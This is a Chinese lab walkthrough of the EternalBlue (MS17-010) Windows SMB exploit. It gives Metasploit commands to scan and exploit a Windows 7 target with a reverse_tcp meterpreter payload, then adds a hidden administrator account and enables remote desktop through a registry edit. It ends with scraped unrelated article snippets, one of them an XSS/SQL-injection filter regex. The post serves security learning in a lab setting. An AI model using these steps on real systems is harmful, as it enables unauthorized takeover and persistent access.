永恒之蓝 ms17_010漏洞

news/2025/1/31 4:21:06/

复现环境:

  • 攻击机:Linux kali(192.168.119.128)

  • 靶机:Windows 7 x64(192.168.119.129)

实验条件:两台机子可以相互ping通,并且靶机(无补丁)开启了445端口,防火墙是关闭的!

关闭防火墙

查看两个机器的ip

确认两个机器 能互相ping通

复现过程:

1、主机发现:

登录 kali linux,用 nmap 探测本网段存活主机

可以看到,靶机的445端口是开放的,而永恒之蓝利用的就是445端口的SMB服务,操作系统溢出漏洞。

2、使用MSF的永恒之蓝漏洞模块

打开MSF:msfconsole(就是一个安全漏洞检测工具,里面分很多模块)

搜索 ms17-010 代码:search ms17_010

这里可以得到一些工具,其中
auxiliary/scanner/smb/smb_ms17_010 是永恒之蓝扫描模块, exploit/windows/smb/ms17_010_eternalblue 是永恒之蓝攻击模块。

3、使用ms17-010扫描模块,对靶机进行扫描:

使用扫描模块:

use auxiliary/scanner/smb/smb_ms17_010

设置目标IP:

set rhosts 192.168.119.129

执行扫描:run

出现以上情况说明有漏洞。

4、使用ms17-010攻击模块,对靶机进行攻击

使用攻击模块:

use exploit/windows/smb/ms17_010_eternalblue

如果出现以下画面

则需要输入   set payload windows/x64/meterpreter/reverse_tcp

则可以成功执行

设置攻击目标ip:

set rhosts 192.168.119.129

run执行攻击

ok攻击完成

5、得到靶机shell

出现以下画面表示成功植入

你可以做你想做的命令

输入shell得到对方控制台

 

输入:chcp 65001 可解决乱码问题。

 

6、通过shell对靶机进行控制

1、创建新用户 ,语法:net user 用户名 密码 /add

net user sss 123456 /add

查看用户信息,命令:net user

出现以上画面则表示添加成功了

2、将用户sss添加至管理员组

net localgroup administrators sss /add

 

像上面一样表示添加成功

3、开启远程桌面功能

查看3389端口状态:netstat -ano(3389是计算机远程端口)

发现没有3389端口

输入:

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

则可开启3389端口

快捷键ctrl+alt+t另起一个终端输入命令:(要重新打开一个终端,在输入命令,我被困了一个小时就因为一直原本的终端中输入命令,rdesktop是一个程序,所以要在kali中打开,我是这么理解的。)

rdesktop 192.168.119.129:3389

 

 就ok了


http://www.ppmy.cn/news/570273.html

相关文章

本周大新闻|visionOS SDK开放下载;Meta和三星停止芯片合作

本周XR大新闻,AR方面,visionOS 1.0系统和SDK发布;Meta和三星停止芯片合作,转而投向联发科;Karl Guttag评Vision Pro第二篇发布;Vision Pro眼球追踪细节。 VR方面,Vision Pro游戏空间边界为3米圆…

应对流量损耗:提升APP广告变现效果的关键策略!

​引言: 在APP广告变现的过程中,流量损耗是一个常见的问题,它不可避免地会发生。尽管开发者可以在合理的范围内承受这种损耗,但如果出现大范围的损耗,那就意味着在广告变现过程中出现了一些问题,限制了开发…

python int转为float

train train.astype(float)

Python的整型数据类型

1. 整型 整型其实就是十进制整数的统称,比如: 1、68、999都属于整型。他一般用于表示年龄、序号等。 1.1 定义 number 10 age 181.2 独有功能 无 v1 5 #调用v1 (int)的独有功能,获取v1的二进制表示 resultv1.bit_length() print(result)v2 10 #调用v2 (int)的…

上海小天鹅洗衣机维修:小天鹅洗衣机使用注意事项

洗衣机基本已经普及到各家各户了,我们在使用洗衣机时没也应该注意一些洗衣机的清洁事项,以免污染我们的衣物,给自己皮肤带来不适。使用洗衣机要注意以下清洁事项。 1、存放在对比通风枯燥的地方,洗衣机禁止放在存放在卫生间。 2、…

【数据结构与算法C++实现】2、二分查找

原视频为左程云的B站教学 1 在有序数组中查找特定元素 基本思想是通过比较中间元素与目标元素的大小关系,将查找范围缩小一半,直到找到目标元素或查找范围为空为止。 时间复杂度O(logN) 因为比如说数组个数为N16, 最差的情况要分 4 次 ( [ 8 ∣ 8 ] →…

arraylist,hashmap和hashset常用方法

ArrayList常用方法: add(E element): 将元素添加到ArrayList的末尾。add(int index, E element): 在指定位置插入元素。get(int index): 获取指定位置的元素。set(int index, E element): 替换指定位置的元素。remove(int index): 移除指定位置的元素。remove(Obje…

防御诸如跨站脚本攻击XSS)、SQL注入攻击等恶意攻击

public partial class SecretUtil{//正则过滤字符private const string StrRegex = @"<[^>]+?style=[\w]+?:expression\(|\b(alert|confirm|prompt)\b|^\+/v(8|9)|<[^>]*?=[^>]*?&#[^>]*?>|\b(and|or)\b.{1,6}?(=|>|<|\bin\b|\blike…